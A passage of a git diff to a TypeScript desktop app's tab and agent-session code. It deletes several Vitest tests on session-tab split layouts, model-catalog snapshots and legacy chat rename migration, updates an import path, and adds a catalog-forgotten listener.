-    ptyIdsByTabId: { [TERMINAL_ID]: ['pty-1'] },
-    remoteBrowserPageHandlesByPageId: {},
-    tabBarOrderByWorktree: { [WORKTREE_ID]: [TERMINAL_ID, STRUCTURED_ID] },
-    tabsByWorktree: {},
-    terminalLayoutsByTabId: {},
-    unifiedTabsByWorktree: { [WORKTREE_ID]: tabs },
-    unreadTerminalTabs: {},
-    sortEpoch: 0
-  }
-}
-
-function expectExactSplit(state: {
-  unifiedTabsByWorktree: Record<string, Tab[]>
-  groupsByWorktree: WebSessionTabsSyncState['groupsByWorktree']
-  layoutByWorktree: WebSessionTabsSyncState['layoutByWorktree']
-  activeGroupIdByWorktree: Record<string, string>
-}): void {
-  expect(state.layoutByWorktree[WORKTREE_ID]).toEqual({
-    type: 'split',
-    direction: 'horizontal',
-    first: { type: 'leaf', groupId: PRIMARY_GROUP },
-    second: { type: 'leaf', groupId: SECONDARY_GROUP }
-  })
-  expect(state.groupsByWorktree[WORKTREE_ID]).toEqual(
-    expect.arrayContaining([
-      expect.objectContaining({
-        id: PRIMARY_GROUP,
-        activeTabId: TERMINAL_ID,
-        tabOrder: [TERMINAL_ID]
-      }),
-      expect.objectContaining({
-        id: SECONDARY_GROUP,
-        activeTabId: STRUCTURED_ID,
-        tabOrder: [STRUCTURED_ID]
-      })
-    ])
-  )
-  expect(state.groupsByWorktree[WORKTREE_ID]).toHaveLength(2)
-  expect(state.unifiedTabsByWorktree[WORKTREE_ID]).toEqual([
-    expect.objectContaining({ id: TERMINAL_ID, groupId: PRIMARY_GROUP, contentType: 'terminal' }),
-    expect.objectContaining({
-      id: STRUCTURED_ID,
-      groupId: SECONDARY_GROUP,
-      contentType: 'agent-session'
-    })
-  ])
-  expect(state.activeGroupIdByWorktree[WORKTREE_ID]).toBe(SECONDARY_GROUP)
-}
-
-describe('local structured session tab projection', () => {
-  it('starts the session-tabs inventory without waiting for the capability refresh', async () => {
-    const priorApi = window.api
-    let releaseStatus = (): void => undefined
-    const statusGate = new Promise<void>((resolve) => {
-      releaseStatus = resolve
-    })
-    const getStatus = vi.fn(async () => {
-      await statusGate
-      return { capabilities: [STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY] }
-    })
-    const call = vi.fn().mockResolvedValue({ ok: true, result: { snapshots: [] } })
-    Object.defineProperty(window, 'api', {
-      configurable: true,
-      value: { runtime: { getStatus, call } }
-    })
-    try {
-      vi.resetModules()
-      const { restoreLocalStructuredSessionTabsOnce } = await import('./inventory-refresh')
-      let settled = false
-      const restored = restoreLocalStructuredSessionTabsOnce().finally(() => {
-        settled = true
-      })
-      expect(getStatus).toHaveBeenCalledOnce()
-      // The inventory RPC must already be in flight while the capability refresh is pending.
-      expect(call).toHaveBeenCalledWith({ method: 'session.tabs.listAll', params: {} })
-      // ...and overlapping must not let the restore open the gate before capabilities land.
-      await new Promise((resolve) => setTimeout(resolve, 0))
-      expect(settled).toBe(false)
-      releaseStatus()
-      await restored
-      expect(call).toHaveBeenCalledOnce()
-    } finally {
-      Object.defineProperty(window, 'api', { configurable: true, value: priorApi })
-    }
-  })
-
-  it('preserves the exact local split through apply, persistence, and hydration', () => {
-    const state = createSnapshot()
-    const snapshot = {
-      worktree: WORKTREE_ID,
-      publicationEpoch: 'epoch-1',
-      snapshotVersion: 2,
-      activeGroupId: SECONDARY_GROUP,
-      activeTabId: 'agent-session:codex-1',
-      activeTabType: 'agent-session',
-      tabGroups: [
-        { id: PRIMARY_GROUP, activeTabId: TERMINAL_ID, tabOrder: [TERMINAL_ID] },
-        {
-          id: SECONDARY_GROUP,
-          activeTabId: 'agent-session:codex-1',
-          tabOrder: ['agent-session:codex-1']
-        }
-      ],
-      tabGroupLayout: state.layoutByWorktree[WORKTREE_ID],
-      tabs: [
-        {
-          type: 'terminal',
-          id: TERMINAL_ID,
-          parentTabId: TERMINAL_ID,
-          leafId: 'leaf-1',
-          title: 'Terminal',
-          status: 'ready',
-          terminal: 'term-1',
-          ptyId: 'pty-1',
-          isActive: false
-        },
-        {
-          type: 'agent-session',
-          id: 'agent-session:codex-1',
-          title: 'Codex Chat',
-          sessionId: 'codex-1',
-          agent: 'codex',
-          isActive: true
-        }
-      ]
-    } satisfies RuntimeMobileSessionTabsResult
-
-    const projected = projectLocalStructuredSessionTabs(snapshot)
-    const patch = applyWebSessionTabsSnapshot(
-      state,
-      projected,
-      'local-structured-session',
-      1_700_000_000_000,
-      { preserveLocalLayout: true }
-    )
-    const applied = { ...state, ...patch } as WebSessionTabsSyncState
-
-    expectExactSplit(applied)
-
-    const session: WorkspaceSessionState = {
-      activeRepoId: null,
-      activeWorktreeId: WORKTREE_ID,
-      activeTabId: STRUCTURED_ID,
-      tabsByWorktree: {},
-      terminalLayoutsByTabId: {},
-      ...buildPersistedUnifiedTabSessionData(applied)
-    }
-    const hydrated = buildHydratedTabState(session, new Set([WORKTREE_ID]))
-
-    expectExactSplit(hydrated)
-  })
-})
diff --git a/src/renderer/src/runtime/local-structured-session-tabs-sync/snapshot-apply.ts b/src/renderer/src/runtime/local-structured-session-tabs-sync/snapshot-apply.ts
index 76a58c787cf..d698da1a76d 100644
--- a/src/renderer/src/runtime/local-structured-session-tabs-sync/snapshot-apply.ts
+++ b/src/renderer/src/runtime/local-structured-session-tabs-sync/snapshot-apply.ts
@@ -30,7 +30,7 @@ import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host'
 import {
   beginStructuredAgentSessionAuthoritativeInventory,
   startStructuredAgentLaunchCancellationCleanup
-} from '../../lib/launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation'
+} from '../../lib/agent-session/launch/structured-agent-session-launch-cancellation'
 import { suppressCancelledStructuredSessionTabs } from '../native-chat/tab-retirement/structured-agent-session-tab-retirement'
 import { LOCAL_STRUCTURED_SESSION_OWNER } from '../native-chat/local-sessions/local-structured-session-owner'
 import { closeStructuredAgentSession } from '../native-chat/requests/structured-agent-session-close'
diff --git a/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots.test.ts b/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots.test.ts
index 7acc7efd8c1..13f21d49f1b 100644
--- a/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots.test.ts
+++ b/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots.test.ts
@@ -30,7 +30,6 @@ vi.mock('../agent-catalogs/host-structured-agents', () => ({
 
 import type { AgentSessionModelCatalogResult } from '../../../../../shared/agent-session/agent-session-wire'
 import { getDefaultSettings } from '../../../../../shared/constants'
-import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments'
 import { useAppStore } from '@/store/index'
 import {
   preloadHostModelCatalogSnapshots,
@@ -39,10 +38,8 @@ import {
   resetHostModelCatalogSnapshotsForTests
 } from './host-model-catalog-snapshots'
 import { installHostModelCatalogSnapshotsSync } from './host-model-catalog-snapshots-sync'
-import { createCompatibleRuntimeStatusResponse } from '../../rpc/testing/runtime-compatibility-test-fixture'
 
 const LOCAL = { kind: 'local' } as const
-const PAIRED = { kind: 'environment', environmentId: 'server-1' } as const
 const NEW_CHAT = { newLaunch: true, worktree: 'wt-1', seedsModel: false }
 
 function list(listingNamesConfiguredModel: boolean): AgentSessionModelCatalogResult {
@@ -60,47 +57,6 @@ describe('host model catalog snapshots', () => {
     resetHostModelCatalogSnapshotsForTests()
   })
 
-  it('retires a workspace answer and its derived account fallback, retaining independent answers', () => {
-    const worldwide = { ...list(true), defaultHoldsInEveryWorkspace: true as const }
-    const scoped = { ...list(false), modelsDifferByWorkspace: true as const }
-    const other = { ...NEW_CHAT, worktree: 'wt-2' }
-    recordHostModelCatalogSnapshot(PAIRED, 'grok', 'wt-1', worldwide)
-    recordHostModelCatalogSnapshot(LOCAL, 'omp', 'wt-1', scoped)
-    for (const retired of [{ origin: 'unknown' } as const, { ...worldwide, models: [] }]) {
-      recordHostModelCatalogSnapshot(LOCAL, 'grok', 'wt-2', scoped)
-      recordHostModelCatalogSnapshot(LOCAL, 'grok', 'wt-1', worldwide)
-      expect(readHostModelCatalogSnapshot(LOCAL, 'grok', NEW_CHAT)).toBe(worldwide)
-      recordHostModelCatalogSnapshot(LOCAL, 'grok', 'wt-1', retired)
-      expect(readHostModelCatalogSnapshot(LOCAL, 'grok', NEW_CHAT)).toBeUndefined()
-      expect(readHostModelCatalogSnapshot(LOCAL, 'grok', other)).toBe(scoped)
-      expect(readHostModelCatalogSnapshot(PAIRED, 'grok', NEW_CHAT)).toBe(worldwide)
-      expect(readHostModelCatalogSnapshot(LOCAL, 'omp', NEW_CHAT)).toBe(scoped)
-    }
-    const newer = { ...worldwide, fetchedAt: 2 }
-    recordHostModelCatalogSnapshot(LOCAL, 'grok', 'wt-1', worldwide)
-    recordHostModelCatalogSnapshot(LOCAL, 'grok', 'wt-2', newer)
-    recordHostModelCatalogSnapshot(LOCAL, 'grok', 'wt-1', { origin: 'unknown' })
-    expect(readHostModelCatalogSnapshot(LOCAL, 'grok', NEW_CHAT)).toBe(newer)
-    recordHostModelCatalogSnapshot(LOCAL, 'grok', null, worldwide)
-    recordHostModelCatalogSnapshot(LOCAL, 'grok', 'wt-1', scoped)
-    recordHostModelCatalogSnapshot(LOCAL, 'grok', 'wt-1', { origin: 'unknown' })
-    expect(readHostModelCatalogSnapshot(LOCAL, 'grok', NEW_CHAT)).toBe(worldwide)
-  })
-
-  it('keeps a held list through an answer whose listing is still running', () => {
-    const held = list(true)
-    recordHostModelCatalogSnapshot(LOCAL, 'claude', 'wt-1', held)
-    recordHostModelCatalogSnapshot(LOCAL, 'claude', 'wt-1', {
-      origin: 'unknown',
-      listingInProgress: true
-    })
-    expect(readHostModelCatalogSnapshot(LOCAL, 'claude', NEW_CHAT)).toBe(held)
-    const other = { ...NEW_CHAT, worktree: 'wt-2' }
-    const filling = { ...list(true), listingInProgress: true as const }
-    recordHostModelCatalogSnapshot(LOCAL, 'claude', 'wt-2', filling)
-    expect(readHostModelCatalogSnapshot(LOCAL, 'claude', other)).toBe(filling)
-  })
-
   it("keeps a chat's answer that lands while an older preload is out", async () => {
     let answer: (catalog: AgentSessionModelCatalogResult) => void = () => {}
     mocks.call.mockImplementation(() => new Promise((resolve) => (answer = resolve)))
@@ -141,123 +97,6 @@ describe('host model catalog snapshots sync', () => {
   })
   afterEach(() => stop?.())
 
-  it('retires reconnect observers after catalog removals while preserving live hosts', async () => {
-    const count = 10
-    const previous = useAppStore.getState()
-    useAppStore.setState({
-      runtimeEnvironments: [],
-      runtimeStatusByEnvironmentId: new Map(),
-      removedRuntimeEnvironmentIds: new Set()
-    })
-    mocks.capabilities = [SAVED_ONLY]
-    const environment = (id: string): PublicKnownRuntimeEnvironment => ({
-      id,
-      name: id,
-      createdAt: 1,
-      updatedAt: 1,
-      lastUsedAt: null,
-      runtimeId: null,
-      endpoints: [{ id: `ws-${id}`, kind: 'websocket', label: 'WebSocket', endpoint: 'ws://host' }],
-      preferredEndpointId: `ws-${id}`
-    })
-    const setStatus = (id: string, epoch: number): void => {
-      const response = createCompatibleRuntimeStatusResponse(`rt-${id}`)
-      if (!response.ok) {
-        throw new Error('Expected a compatible runtime status')
-      }
-      const statuses = new Map(useAppStore.getState().runtimeStatusByEnvironmentId)
-      statuses.set(id, {
-        status: { ...response.result, capabilities: [SAVED_ONLY] },
-        checkedAt: epoch,
-        hostContactEpoch: epoch,
-        connectionGeneration: 1
-      })
-      useAppStore.setState({ runtimeStatusByEnvironmentId: statuses })
-    }
-    const survivor = environment('survivor')
-    useAppStore.getState().setRuntimeEnvironments([survivor])
-    setStatus(survivor.id, 1)
-    mocks.agents.set('runtime:survivor', {
-      runtimeId: 'rt-survivor',
-      agents: [{ agent: 'codex' }]
-    })
-    const active = new Set<() => void>()
-    let callbacks = 0
-    const subscribe = useAppStore.subscribe
-    const spy = vi.spyOn(useAppStore, 'subscribe').mockImplementation((listener) => {
-      const unsubscribe = subscribe((state, oldState) => {
-        callbacks += 1
-        listener(state, oldState)
-      })
-      const release = (): void => {
-        active.delete(release)
-        unsubscribe()
-      }
-      active.add(release)
-      return release
-    })
-    try {
-      stop = installHostModelCatalogSnapshotsSync()
-      for (let index = 0; index < count; index += 1) {
-        const retired = environment(`retired-${index}`)
-        useAppStore.getState().setRuntimeEnvironments([survivor, retired])
-        setStatus(retired.id, 1)
-        if (index === 0) {
-          useAppStore.getState().clearRuntimeEnvironmentStatus(retired.id)
-          expect(active.size).toBe(3)
-        }
-        useAppStore.getState().setRuntimeEnvironments([survivor])
-      }
-      setStatus('retired-0', 3)
-      expect(active.size).toBe(2)
-      callbacks = 0
-      useAppStore.setState((state) => ({ agentStatusEpoch: state.agentStatusEpoch + 1 }))
-      expect(callbacks).toBe(2)
-
-      mocks.call.mockClear()
-      useAppStore.getState().clearRuntimeEnvironmentStatus(survivor.id)
-      expect(active.size).toBe(2)
-      setStatus(survivor.id, 2)
-      await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledTimes(1))
-      expect(mocks.call.mock.calls[0][0]).toEqual({
-        kind: 'environment',
-        environmentId: survivor.id
-      })
-
-      const readded = environment('retired-0')
-      useAppStore.getState().setRuntimeEnvironments([survivor, readded])
-      setStatus(readded.id, 1)
-      expect(active.size).toBe(3)
-      mocks.agents.set('runtime:retired-0', {
-        runtimeId: 'rt-retired-0',
-        agents: [{ agent: 'codex' }]
-      })
-      mocks.call.mockClear()
-      setStatus(readded.id, 2)
-      await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledTimes(1))
-      expect(mocks.call.mock.calls[0][0]).toEqual({
-        kind: 'environment',
-        environmentId: readded.id
-      })
-
-      stop()
-      stop = null
-      expect(active.size).toBe(0)
-      callbacks = 0
-      useAppStore.setState((state) => ({ agentStatusEpoch: state.agentStatusEpoch + 1 }))
-      expect(callbacks).toBe(0)
-    } finally {
-      stop?.()
-      stop = null
-      spy.mockRestore()
-      useAppStore.setState({
-        runtimeEnvironments: previous.runtimeEnvironments,
-        runtimeStatusByEnvironmentId: previous.runtimeStatusByEnvironmentId,
-        removedRuntimeEnvironmentIds: previous.removedRuntimeEnvironmentIds
-      })
-    }
-  })
-
   it('reads again for the new account after an account change, dropping an answer sent before it', async () => {
     mocks.capabilities = [SAVED_ONLY]
     registerAgents('local', null)
diff --git a/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots.ts b/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots.ts
index b34dbf76faf..641cc16243b 100644
--- a/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots.ts
+++ b/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots.ts
@@ -13,6 +13,7 @@ import { structuredAgentSessionHostKey } from '../host-capabilities/structured-a
 const snapshots = new Map<string, HostModelCatalogSnapshot>()
 // Bumped when a host's answers are dropped, so a preload sent before then records nothing.
 const generations = new Map<string, number>()
+const forgottenListeners = new Set<() => void>()
 // Bumped per host and agent by each chat's answer, so an older preload never replaces it.
 const chatAnswers = new Map<string, number>()
 
@@ -64,6 +65,17 @@ export function forgetHostModelCatalogSnapshots(
       snapshots.delete(key)
     }
   }
+  forgottenListeners.forEach((listener) => listener())
+}
+
+/** Changes whenever this host's answers are dropped, so a held answer can tell it is out of date. */
+export function hostModelCatalogGeneration(target: RuntimeClientTarget): number {
+  return generations.get(structuredAgentSessionHostKey(target)) ?? 0
+}
+
+export function subscribeHostModelCatalogForgotten(listener: () => void): () => void {
+  forgottenListeners.add(listener)
+  return () => forgottenListeners.delete(listener)
 }
 
 /** The agents a host has answered for, so a reconnect can read them again. */
diff --git a/src/renderer/src/runtime/native-chat/naming/legacy-chat-rename-migration.test.tsx b/src/renderer/src/runtime/native-chat/naming/legacy-chat-rename-migration.test.tsx
index dd339731367..d4cd2478e44 100644
--- a/src/renderer/src/runtime/native-chat/naming/legacy-chat-rename-migration.test.tsx
+++ b/src/renderer/src/runtime/native-chat/naming/legacy-chat-rename-migration.test.tsx
@@ -1,30 +1,19 @@
 // @vitest-environment happy-dom
-import { act, cleanup, render, renderHook, waitFor } from '@testing-library/react'
+import { act, cleanup, render, renderHook } from '@testing-library/react'
 import { afterEach, beforeEach, expect, it, vi } from 'vitest'
 import type { Tab } from '../../../../../shared/tab-types'
-import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import '../../../../../shared/global-settings-test-fixture'
 
 import '../../../../../shared/ephemeral-setup-terminal-worktree-id'
 import type { AgentSessionStatusSummary } from '../../../../../shared/agent-session/agent-session-wire'
 import type * as LayoutRouting from '@/store/terminals/tab-change-through-layout-owner'
 import type * as LocalRuntimeCapabilities from '../../hosts/capabilities/local-runtime-capabilities'
-import {
-  addWorkspace,
-  emptySession
-} from '../../../../../shared/workspace-layout/workspace-layout-session.test-fixture'
-import { loadWorkspaceLayoutWithoutReport } from '../../../../../shared/workspace-layout/workspace-layout-load'
-import { nameBasedLoadContext } from '../../../../../shared/workspace-layout/workspace-layout-minted-ids'
-import { renameTab } from '../../../../../shared/workspace-layout/workspace-layout-tab-rename'
-import { saveWorkspaceLayout } from '../../../../../shared/workspace-layout/workspace-layout-save'
 import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
 import { makeUnifiedTab } from '@/store/slices/tabs/tab-group.test-fixture'
 import { TEST_REPO } from '@/store/repos/repo.test-fixture'
 import { makeFolderWorkspace } from '@/store/folder-workspaces/folder-workspace.test-fixture'
 import { WorkspaceAttachmentOrigins } from '@/components/sidebar/workspace-card/review/WorkspaceAttachmentOrigins'
 import { useAppStore } from '@/store/index'
-import { installLegacyChatRenameMigration } from './legacy-chat-rename-migration'
-import { uploadLegacyStructuredChatRename } from './structured-chat-rename'
 import { readStructuredChatTabName } from './structured-chat-tab-name'
 import '@/store/slices/tabs/closing/pinned-tab-close-guard'
 import {
@@ -35,11 +24,6 @@ import { useLiveDashboardSnapshot } from '@/components/dashboard/useLiveDashboar
 import { useAgentPaneThreads } from '@/components/activity/use-agent-pane-threads'
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
-import { fetchWorkspaceSessionWithRuntimeHostOwners } from '@/lib/workspace/persistence/workspace-session-host-hydration'
-import { buildPersistedUnifiedTabSessionData } from '@/lib/workspace/persistence/workspace-session-unified-tabs'
-import { persistWorkspaceSessionByHost } from '@/lib/workspace/persistence/workspace-session-host-persistence'
-import { sendMessageToAgent } from '@/lib/agent-session/messaging/agent-message-send'
-import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types'
 
 import '../../web-session-tabs-sync/snapshot-api'
 import '../../web-session-tabs-sync/store-patch'
@@ -113,15 +97,6 @@ const chat = (extra: Partial<Tab> = {}): Tab =>
     label: 'Codex Chat',
     ...extra
   })
-function loadChat(tab: Tab, owner: ExecutionHostId) {
-  const stored = addWorkspace(emptySession(), tab.worktreeId, [
-    {
-      id: 'group',
-      tabs: [{ id: tab.id, entityId: tab.entityId, kind: 'agent-session', entry: tab }]
-    }
-  ])
-  return loadWorkspaceLayoutWithoutReport(owner, stored, nameBasedLoadContext())
-}
 function seed(tab: Tab) {
   useAppStore.setState({
     workspaceSessionReady: true,
@@ -130,16 +105,6 @@ function seed(tab: Tab) {
     unifiedTabsByWorktree: { [tab.worktreeId]: [tab] }
   })
 }
-function partitionedSessionApi(partitions: Record<string, WorkspaceSessionState>) {
-  return {
-    get: async (host?: string) => partitions[host ?? 'local'] ?? emptySession(),
-    set: async (session: WorkspaceSessionState, host?: string) => {
-      partitions[host ?? 'local'] = session
-    },
-    patch: async () => {},
-    flush: async () => {}
-  }
-}
 const stops: (() => void)[] = []
 beforeEach(() => {
   vi.spyOn(Date, 'now').mockReturnValue(1_700_000_000_000)
@@ -158,95 +123,6 @@ afterEach(() => {
   vi.restoreAllMocks()
 })
 
-it('migrates an inactive restored alias after reconnect and clears both saved copies only after acknowledgment', async () => {
-  const alias = 'x'.repeat(5000)
-  const tab = chat({
-    worktreeId: 'folder:twin',
-    executionHostId: 'runtime:paired',
-    customLabel: alias
-  })
-  let loaded = loadChat(tab, 'runtime:paired')
-  mock.layout.mockImplementation((_state, target, change, _local, answers) => {
-    if (!target) {
-      throw new Error('Missing tab')
-    }
-    const command = change(target.id)
-    if (command.type !== 'renameTab') {
-      throw new Error('Unexpected layout command')
-    }
-    const result = renameTab(loaded.layout, { ...command, workspace: target.worktreeId })
-    if (!result.ok) {
-      throw new Error('Layout refused cleanup')
-    }
-    loaded = { ...loaded, layout: result.model }
-    answers?.shown?.()
-    return true
-  })
-  seedTwin(tab)
-  mock.rpc
-    .mockRejectedValueOnce(new Error('Disconnected'))
-    .mockResolvedValue({ name: 'x'.repeat(200), applied: true })
-  stops.push(installLegacyChatRenameMigration())
-  await waitFor(() => expect(mock.rpc).toHaveBeenCalledTimes(1))
-  expect(useAppStore.getState().unifiedTabsByWorktree[tab.worktreeId]?.[0]?.customLabel).toBe(alias)
-  mock.contacts.forEach((regained) => regained())
-  await waitFor(() =>
-    expect(
-      useAppStore.getState().unifiedTabsByWorktree[tab.worktreeId]?.[0]?.customLabel
-    ).toBeNull()
-  )
-  expect(mock.rpc).toHaveBeenLastCalledWith(expect.anything(), 'agentSession.rename', {
-    sessionId: tab.entityId,
-    name: 'x'.repeat(200),
-    legacyAlias: true
-  })
-  expect(saveWorkspaceLayout(loaded).unifiedTabs?.[tab.worktreeId]?.[0]?.customLabel).toBeNull()
-})
-
-it('transfers an unstamped alias once its single local owner is known and reloads the canonical name', async () => {
-  const tab = chat({ worktreeId: 'folder:unique', customLabel: 'Legacy' })
-  seed(tab)
-  useAppStore.setState({
-    repos: [],
-    worktreesByRepo: {},
-    restoredRuntimeHostIdByWorkspaceSessionKey: { [tab.worktreeId]: 'runtime:storage-only' }
-  })
-  mock.snapshot.set(tab.entityId, name(tab, 'History name'))
-  mock.rpc.mockResolvedValue({ name: 'History name', applied: false })
-  stops.push(installLegacyChatRenameMigration())
-  expect(
-    await uploadLegacyStructuredChatRename(useAppStore.getState, tab, 'Legacy', 'Legacy')
-  ).toBe(false)
-  expect(mock.rpc).not.toHaveBeenCalled()
-  const groups = saveWorkspaceLayout(loadChat(tab, 'local')).tabGroups?.[tab.worktreeId] ?? []
-  useAppStore.setState({ groupsByWorktree: { [tab.worktreeId]: groups } })
-  useAppStore.setState({
-    folderWorkspaces: [makeFolderWorkspace({ id: 'unique', executionHostId: 'local' })]
-  })
-  await waitFor(() =>
-    expect(useAppStore.getState().unifiedTabsByWorktree[tab.worktreeId][0].customLabel).toBeNull()
-  )
-  expect(mock.rpc).toHaveBeenCalledExactlyOnceWith({ kind: 'local' }, 'agentSession.rename', {
-    sessionId: tab.entityId,
-    name: 'Legacy',
-    legacyAlias: true
-  })
-  const saved = {
-    ...emptySession(),
-    ...buildPersistedUnifiedTabSessionData(useAppStore.getState())
-  }
-  const api = partitionedSessionApi({ local: emptySession() })
-  await persistWorkspaceSessionByHost(api, saved, useAppStore.getState())
-  const read = await fetchWorkspaceSessionWithRuntimeHostOwners(api, [])
-  useAppStore.getState().hydrateWorkspaceSession(read.session, read)
-  useAppStore.getState().hydrateTabsSession(read.session)
-  useAppStore.setState({ activeWorktreeId: 'elsewhere' })
-  const restored = useAppStore.getState().unifiedTabsByWorktree[tab.worktreeId][0]
-  expect(restored.executionHostId).toBeUndefined()
-  expect(restored.customLabel).toBeNull()
-  expect(readStructuredChatTabName(restored, useAppStore.getState())).toBe('History name')
-})
-
 function seedTwin(tab: Tab) {
   seed(tab)
   const folder = makeFolderWorkspace({ id: 'twin' })
@@ -372,146 +248,3 @@ it('shares qualified current names with live dashboard and attachments without a
   expect(readStructuredChatTabName(replacement, useAppStore.getState())).toBe('Dormant rename')
   expect(mock.activates).toHaveBeenCalledTimes(2)
 })
-
-it('traces legacy runtime storage movement, action routing and switch-away before inventory', async () => {
-  const tab = chat({ worktreeId: 'folder:twin', customLabel: 'Legacy paired' })
-  seedTwin(tab)
-  useAppStore.setState({ workspaceSessionReady: false })
-  const local = {
-    ...emptySession(),
-    activeWorktreeId: tab.worktreeId,
-    activeWorkspaceKey: 'folder:twin' as const,
-    activeWorkspaceExecutionHostId: 'runtime:b' as const
-  }
-  const partitions: Record<string, WorkspaceSessionState> = {
-    local,
-    'runtime:b': {
-      ...emptySession(),
-      unifiedTabs: { [tab.worktreeId]: [tab] },
-      tabGroups: {
-        [tab.worktreeId]: [
-          { id: tab.groupId, worktreeId: tab.worktreeId, activeTabId: tab.id, tabOrder: [tab.id] }
-        ]
-      }
-    }
-  }
-  const api = partitionedSessionApi(partitions)
-  const restored = await fetchWorkspaceSessionWithRuntimeHostOwners(
-    api,
-    [],
-    ['runtime:a', 'runtime:b']
-  )
-  useAppStore.getState().hydrateWorkspaceSession(restored.session, restored)
-  useAppStore.getState().hydrateTabsSession(restored.session)
-  expect(useAppStore.getState().restoredRuntimeHostIdByWorkspaceSessionKey[tab.worktreeId]).toBe(
-    'runtime:b'
-  )
-  const current = () => useAppStore.getState().unifiedTabsByWorktree[tab.worktreeId][0]
-  expect(current().executionHostId).toBeUndefined()
-  const folder = makeFolderWorkspace({ id: 'twin' })
-  useAppStore.setState({
-    activeWorkspaceExecutionHostId: 'runtime:b',
-    folderWorkspaces: [
-      { ...folder, executionHostId: 'runtime:a' },
-      { ...folder, executionHostId: 'runtime:b' }
-    ]
-  })
-  const payload = {
-    ...restored.session,
-    ...buildPersistedUnifiedTabSessionData(useAppStore.getState())
-  }
-  expect(payload.unifiedTabs?.[tab.worktreeId]?.[0]).toBe(current())
-  await persistWorkspaceSessionByHost(api, payload, useAppStore.getState())
-  expect(partitions['runtime:a'].unifiedTabs?.[tab.worktreeId]?.[0]).toBe(current())
-  const reloaded = await fetchWorkspaceSessionWithRuntimeHostOwners(
-    api,
-    [],
-    ['runtime:a', 'runtime:b']
-  )
-  expect(reloaded.contestedPrimaryHostBySessionKey[tab.worktreeId]).toBe('runtime:a')
-  useAppStore.getState().hydrateWorkspaceSession(reloaded.session, reloaded)
-  useAppStore.getState().hydrateTabsSession(reloaded.session)
-  expect(current().executionHostId).toBeUndefined()
-  useAppStore.setState({
-    activeWorktreeId: tab.worktreeId,
-    activeWorkspaceExecutionHostId: 'runtime:a'
-  })
-  mock.send.mockReturnValue({ outcome: Promise.resolve('recorded') })
-  expect(
-    await sendMessageToAgent({
-      worktreeId: tab.worktreeId,
-      target: { kind: 'structured-session', sessionId: tab.entityId },
-      prompt: 'hello'
-    })
-  ).toEqual({ status: 'sent' })
-  expect(mock.send).toHaveBeenCalledWith(
-    expect.objectContaining({ target: { kind: 'environment', environmentId: 'a' } })
-  )
-  mock.paired = new Map([[tab.entityId, name(tab, 'Legacy paired')]])
-  mock.rpc.mockResolvedValue({ name: 'Legacy paired', applied: true })
-  await useAppStore.getState().reconnectPersistedTerminals()
-  expect(useAppStore.getState().workspaceSessionReady).toBe(true)
-  stops.push(installLegacyChatRenameMigration())
-  expect(
-    await uploadLegacyStructuredChatRename(
-      useAppStore.getState,
-      current(),
-      'Legacy paired',
-      'Legacy paired'
-    )
-  ).toBe(false)
-  expect(mock.rpc).not.toHaveBeenCalled()
-  expect(current().customLabel).toBe('Legacy paired')
-  expect(readStructuredChatTabName(current(), useAppStore.getState())).toBe('Legacy paired')
-  useAppStore.setState({ activeWorktreeId: 'elsewhere' })
-  expect(mock.rpc).not.toHaveBeenCalled()
-  expect(readStructuredChatTabName(current(), useAppStore.getState())).toBe('Legacy paired')
-  useAppStore.setState({
-    activeWorktreeId: tab.worktreeId,
-    activeWorkspaceExecutionHostId: 'runtime:b'
-  })
-  expect(mock.rpc).not.toHaveBeenCalled()
-  mock.paired.set(tab.entityId, name(tab, 'Explicit name'))
-  useAppStore.getState().setTabCustomTitle(current().id, '  Explicit name  ')
-  // Navigation happens before the dynamic rename import resumes, with inventory still absent.
-  useAppStore.setState({
-    activeWorktreeId: 'elsewhere',
-    activeWorkspaceExecutionHostId: 'runtime:a'
-  })
-  await waitFor(() => expect(current().customLabel).toBe('Explicit name'))
-  expect(mock.rpc).toHaveBeenCalledExactlyOnceWith(
-    { kind: 'environment', environmentId: 'b' },
-    'agentSession.rename',
-    {
-      sessionId: tab.entityId,
-      name: 'Explicit name'
-    }
-  )
-  expect(current().executionHostId).toBeUndefined()
-  expect(readStructuredChatTabName(current(), useAppStore.getState())).toBe('Explicit name')
-  await persistWorkspaceSessionByHost(
-    api,
-    { ...reloaded.session, ...buildPersistedUnifiedTabSessionData(useAppStore.getState()) },
-    useAppStore.getState()
-  )
-  const renamed = await fetchWorkspaceSessionWithRuntimeHostOwners(
-    api,
-    [],
-    ['runtime:a', 'runtime:b']
-  )
-  useAppStore.getState().hydrateWorkspaceSession(renamed.session, renamed)
-  useAppStore.getState().hydrateTabsSession(renamed.session)
-  useAppStore.setState({ activeWorktreeId: 'elsewhere' })
-  expect(current().executionHostId).toBeUndefined()
-  expect(readStructuredChatTabName(current(), useAppStore.getState())).toBe('Explicit name')
-  expect(mock.rpc).toHaveBeenCalledTimes(1)
-  // The existing migration retires the copy once catalog ownership is proved.
-  useAppStore.setState({ folderWorkspaces: [{ ...folder, executionHostId: 'runtime:b' }] })
-  await waitFor(() => expect(current().customLabel).toBeNull())
-  expect(mock.rpc).toHaveBeenLastCalledWith(
-    { kind: 'environment', environmentId: 'b' },
-    'agentSession.rename',
-    { sessionId: tab.entityId, name: 'Explicit name', legacyAlias: true }
-  )
-  expect(readStructuredChatTabName(current(), useAppStore.getState())).toBe('Explicit name')
-})
